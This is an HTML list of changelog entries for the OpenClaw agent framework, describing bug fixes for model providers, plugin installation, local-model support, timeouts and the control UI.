<li>Agents/Anthropic: remove trailing assistant prefill payloads when extended thinking is enabled, so Opus 4.7/Sonnet 4.6 requests do not fail Anthropic's user-final-turn validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334735494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72739" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72739/hovercard" href="https://github.com/openclaw/openclaw/issues/72739">#72739</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/superandylin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/superandylin">@superandylin</a>.</li>
<li>Agents/vLLM/Qwen: add plugin-owned Qwen thinking controls for vLLM chat-template kwargs and DashScope-style top-level <code>enable_thinking</code> flags, including preserved thinking for agent loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331705792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72329" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72329/hovercard" href="https://github.com/openclaw/openclaw/issues/72329">#72329</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stavrostzagadouris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stavrostzagadouris">@stavrostzagadouris</a>.</li>
<li>Memory-core/dreaming: treat request-scoped narrative fallback as expected, skip session cleanup when no subagent run was created, and remove duplicate phase-level cleanup so fallback no longer emits warning noise. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268571406" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67152" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67152/hovercard" href="https://github.com/openclaw/openclaw/issues/67152">#67152</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jsompis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jsompis">@jsompis</a>.</li>
<li>Agents/exec: apply configured <code>tools.exec.timeoutSec</code> to background, <code>yieldMs</code>, and node <code>system.run</code> commands when no per-call timeout is set, preventing auto-backgrounded and remote node commands from running indefinitely. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274573328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67600" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67600/hovercard" href="https://github.com/openclaw/openclaw/issues/67600">#67600</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274648073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67603/hovercard" href="https://github.com/openclaw/openclaw/pull/67603">#67603</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlmpx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlmpx">@dlmpx</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>Config/doctor: stop masking unknown-key validation diagnostics such as <code>agents.defaults.llm</code>, and have <code>openclaw doctor --fix</code> remove the retired <code>agents.defaults.llm</code> timeout block. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aidiffuser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aidiffuser">@aidiffuser</a>.</li>
<li>CLI/startup: keep the built pre-dispatch CLI graph free of package-level imports and extend packaged CLI smoke coverage to onboard and doctor help paths, preventing missing runtime dependencies such as tslog from killing onboarding before repair code can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223102766" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63024" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63024/hovercard" href="https://github.com/openclaw/openclaw/issues/63024">#63024</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hu19940121/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hu19940121">@hu19940121</a>.</li>
<li>CLI/plugins: preserve unversioned ClawHub install specs so <code>plugins update</code> can follow newer ClawHub releases instead of pinning to the initially resolved version. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222950605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63010" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63010/hovercard" href="https://github.com/openclaw/openclaw/issues/63010">#63010</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4179937057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58426/hovercard" href="https://github.com/openclaw/openclaw/pull/58426">#58426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kangsen1234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kangsen1234">@kangsen1234</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robinspt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robinspt">@robinspt</a>.</li>
<li>Memory-core/subagents: tag plugin-created subagent sessions with their plugin owner so dreaming narrative cleanup can delete its own ephemeral sessions without granting broad admin session deletion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334282794" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72712" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72712/hovercard" href="https://github.com/openclaw/openclaw/issues/72712">#72712</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BSG2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BSG2000">@BSG2000</a>.</li>
<li>Gateway/models: move local-provider pricing opt-outs, OpenRouter/LiteLLM aliases, and proxy passthrough pricing lookup into plugin manifest metadata so core no longer carries extension-specific pricing tables.</li>
<li>CLI/update: honor <code>OPENCLAW_NO_AUTO_UPDATE=1</code> as a gateway startup kill-switch for configured background package auto-updates, so operators can hold a deliberate downgrade during incident recovery without editing config first. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334350067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72715" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72715/hovercard" href="https://github.com/openclaw/openclaw/issues/72715">#72715</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xivi08/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xivi08">@Xivi08</a>.</li>
<li>Agents/Claude CLI: force live-session launches to include <code>--output-format stream-json</code> whenever OpenClaw adds <code>--input-format stream-json</code>, so new Claude CLI sessions no longer fail immediately while reusable sessions keep working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331058930" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72206/hovercard" href="https://github.com/openclaw/openclaw/issues/72206">#72206</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kwangwonkoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kwangwonkoh">@kwangwonkoh</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xivi08/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xivi08">@Xivi08</a>.</li>
<li>CLI/plugins: accept ClawHub plugin API wildcard ranges such as <code>*</code> without rejecting compatible plugin installs, while still requiring a valid runtime API version. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160287580" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56446" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56446/hovercard" href="https://github.com/openclaw/openclaw/issues/56446">#56446</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160379824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56466/hovercard" href="https://github.com/openclaw/openclaw/pull/56466">#56466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/darconada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/darconada">@darconada</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claygeo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claygeo">@claygeo</a>.</li>
<li>CLI/plugins: add an explicit <code>npm:&lt;package&gt;</code> install prefix that skips ClawHub lookup for known npm packages while keeping bare package specs ClawHub-first. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152647207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55805" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55805/hovercard" href="https://github.com/openclaw/openclaw/issues/55805">#55805</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4133768218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54377" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54377/hovercard" href="https://github.com/openclaw/openclaw/pull/54377">#54377</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zeoy2020/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zeoy2020">@Zeoy2020</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vagusX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vagusX">@vagusX</a>.</li>
<li>CLI/plugins: let config-gated bundled plugins install without persisting invalid placeholder config entries, so install/uninstall sweeps can cover plugins such as memory-lancedb before the user configures credentials. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/plugins: reject malformed ClawHub plugin specs with trailing <code>@</code> before registry lookup, so empty-version typos report as invalid specs instead of package-not-found errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161404128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56579" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56579/hovercard" href="https://github.com/openclaw/openclaw/issues/56579">#56579</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161414890" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56582/hovercard" href="https://github.com/openclaw/openclaw/pull/56582">#56582</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kansodata/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kansodata">@Kansodata</a>.</li>
<li>Agents/sessions: acquire the session write lock only after cold bootstrap, plugin, and tool setup so fallback runs are not blocked by stalled pre-model startup work.</li>
<li>Browser/plugins: auto-start the bundled browser plugin when root <code>browser</code> config is present, including restrictive plugin allowlists, and ignore stale persisted plugin registries whose package paths no longer exist.</li>
<li>Browser: circuit-break repeated managed Chrome launch failures per profile so browser requests stop spawning Chromium indefinitely when CDP cannot start. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4238688678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64271/hovercard" href="https://github.com/openclaw/openclaw/issues/64271">#64271</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TheophilusChinomona/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TheophilusChinomona">@TheophilusChinomona</a>.</li>
<li>Gateway/models: skip external OpenRouter and LiteLLM pricing refreshes for local/self-hosted model endpoints so startup does not wait on remote pricing catalogs for local-only Ollama, vLLM, and compatible providers.</li>
<li>CLI/plugins: stop security-blocked plugin installs from retrying as hook packs, so normal plugin packages report the scanner failure without a misleading "not a valid hook pack" follow-up. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206381395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61175/hovercard" href="https://github.com/openclaw/openclaw/issues/61175">#61175</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236769831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64102" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64102/hovercard" href="https://github.com/openclaw/openclaw/pull/64102">#64102</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KonsultDigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KonsultDigital">@KonsultDigital</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ziyincody/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ziyincody">@ziyincody</a>.</li>
<li>Agents/Anthropic: strip stale trailing assistant prefill turns from outbound replay so context-engine short circuits cannot send unsupported assistant-prefill payloads to provider APIs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332888910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72556" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72556/hovercard" href="https://github.com/openclaw/openclaw/issues/72556">#72556</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Veda-openclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Veda-openclaw">@Veda-openclaw</a>.</li>
<li>Agents/Google: strip stale trailing assistant/model prefill turns from Gemini outbound replay so Google Generative AI requests end with a user turn or function response. Follow-up to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332888910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72556" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72556/hovercard" href="https://github.com/openclaw/openclaw/issues/72556">#72556</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Veda-openclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Veda-openclaw">@Veda-openclaw</a>.</li>
<li>Control UI/Dreaming: require explicit confirmation before applying restart-impacting Dreaming mode changes, with restart warning copy and loading feedback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233221234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63804" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63804/hovercard" href="https://github.com/openclaw/openclaw/issues/63804">#63804</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233286540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63807/hovercard" href="https://github.com/openclaw/openclaw/pull/63807">#63807</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbddbb1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbddbb1">@bbddbb1</a>.</li>
<li>CLI/agent: mark Gateway-to-embedded fallback runs with <code>meta.transport: "embedded"</code> and <code>meta.fallbackFrom: "gateway"</code> in JSON output, and make the terminal diagnostic explicit so scripts and operators can distinguish fallback runs from Gateway runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327249504" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71416" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71416/hovercard" href="https://github.com/openclaw/openclaw/issues/71416">#71416</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/tools: normalize <code>null</code> or missing tool-call arguments to <code>{}</code> for parameterless object schemas before Pi validation, so empty-argument tools run instead of failing argument validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333066551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72587/hovercard" href="https://github.com/openclaw/openclaw/issues/72587">#72587</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/subagents: clear active embedded-run state before terminal lifecycle events so post-completion cleanup no longer treats finished child runs as still active and skips archive or announcement bookkeeping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4309345615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70187" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70187/hovercard" href="https://github.com/openclaw/openclaw/pull/70187">#70187</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/update: keep the automatic post-update completion refresh on the core-command tree so it no longer stages bundled plugin runtime deps before the Gateway restart path, avoiding <code>.24</code> update hangs and 1006 disconnect cascades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333693515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72665/hovercard" href="https://github.com/openclaw/openclaw/issues/72665">#72665</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/He-Pin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/He-Pin">@He-Pin</a>.</li>
<li>Control UI: make explicit Reload Config actions discard stale local config edits while passive refreshes and failed-save recovery keep pending drafts intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042433661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40352" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40352/hovercard" href="https://github.com/openclaw/openclaw/issues/40352">#40352</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042843645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40443/hovercard" href="https://github.com/openclaw/openclaw/pull/40443">#40443</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/realmikechong-dotcom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/realmikechong-dotcom">@realmikechong-dotcom</a>.</li>
<li>Agents/Bedrock: stop heartbeat runs from persisting blank user transcript turns and repair existing blank user text messages before replay, preventing AWS Bedrock <code>ContentBlock</code> blank-text validation failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333504705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72640" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72640/hovercard" href="https://github.com/openclaw/openclaw/issues/72640">#72640</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333358856" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72622/hovercard" href="https://github.com/openclaw/openclaw/issues/72622">#72622</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/goldzulu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/goldzulu">@goldzulu</a>.</li>
<li>Agents/LM Studio: promote standalone bracketed local-model tool requests into registered tool calls and hide unsupported bracket blocks from visible replies, so MemPalace MCP lookups do not print raw <code>[tool]</code> JSON scaffolding in chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258167996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66178" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66178/hovercard" href="https://github.com/openclaw/openclaw/issues/66178">#66178</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/detroit357/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/detroit357">@detroit357</a>.</li>
<li>Local models: warn when an assistant reply looks like a tool call but the provider emitted plain text instead of a structured tool invocation, making fake/non-executed tool calls visible in logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110625662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51332" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51332/hovercard" href="https://github.com/openclaw/openclaw/issues/51332">#51332</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emilclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emilclaw">@emilclaw</a>.</li>
<li>Local models: accept persisted non-secret local auth markers for private-LAN custom OpenAI-compatible providers, so LAN Ollama configs no longer fail with missing auth when <code>ollama-local</code> is saved as the key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094215279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49736" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49736/hovercard" href="https://github.com/openclaw/openclaw/issues/49736">#49736</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/charles-zh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/charles-zh">@charles-zh</a>.</li>
<li>TUI/local models: treat visible gateway client labels such as <code>openclaw-tui</code> as the current requester session for session-aware tools, so Ollama tool calls no longer fail by resolving the UI label as a session id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4260076318" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66391/hovercard" href="https://github.com/openclaw/openclaw/issues/66391">#66391</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kickingzebra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kickingzebra">@kickingzebra</a>.</li>
<li>Local models: route self-hosted OpenAI-compatible model discovery through the guarded fetch path pinned to the configured host, covering vLLM and SGLang setup without reopening local/LAN SSRF probes. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076198483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46359/hovercard" href="https://github.com/openclaw/openclaw/pull/46359">#46359</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cdxiaodong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cdxiaodong">@cdxiaodong</a>.</li>
<li>Local models: classify terminated, reset, closed, timeout, and aborted model-call failures and attach a process memory snapshot to the diagnostic event, making LM Studio/Ollama RAM-pressure failures easier to prove from stability bundles. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249906273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65551" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65551/hovercard" href="https://github.com/openclaw/openclaw/issues/65551">#65551</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigWiLLi111/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigWiLLi111">@BigWiLLi111</a>.</li>
<li>Local models: pass configured provider request timeouts through OpenAI SDK transports and the model idle watchdog so long-running local or custom OpenAI-compatible streams use one timeout knob instead of hitting the SDK's 10-minute default or the 120s idle default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231111693" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63663" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63663/hovercard" href="https://github.com/openclaw/openclaw/issues/63663">#63663</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aidiffuser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aidiffuser">@aidiffuser</a>.</li>
<li>LM Studio: trust configured LM Studio loopback, LAN, and tailnet endpoints for guarded model requests by default, preserving explicit private-network opt-outs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205504518" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60994" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60994/hovercard" href="https://github.com/openclaw/openclaw/issues/60994">#60994</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tnowakow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tnowakow">@tnowakow</a>.</li>
<li>Docker/setup: route Docker onboarding defaults for host-side LM Studio and Ollama through <code>host.docker.internal</code> and add the Linux host-gateway mapping to the bundled Compose file, so containerized gateways can reach local providers without using container loopback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289073782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68684" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68684/hovercard" href="https://github.com/openclaw/openclaw/issues/68684">#68684</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289314253" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68702" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68702/hovercard" href="https://github.com/openclaw/openclaw/pull/68702">#68702</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/skolez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/skolez">@skolez</a>.</li>
<li>Agents/LM Studio: strip prior-turn Gemma 4 reasoning from OpenAI-compatible replay while preserving active tool-call continuation reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289319395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68704/hovercard" href="https://github.com/openclaw/openclaw/issues/68704">#68704</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chip-snomo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chip-snomo">@chip-snomo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</li>
<li>LM Studio: allow interactive onboarding to leave the API key blank for unauthenticated local servers, using local synthetic auth while clearing stale LM Studio auth profiles. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265841731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66937" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66937/hovercard" href="https://github.com/openclaw/openclaw/issues/66937">#66937</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/olamedia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/olamedia">@olamedia</a>.</li>
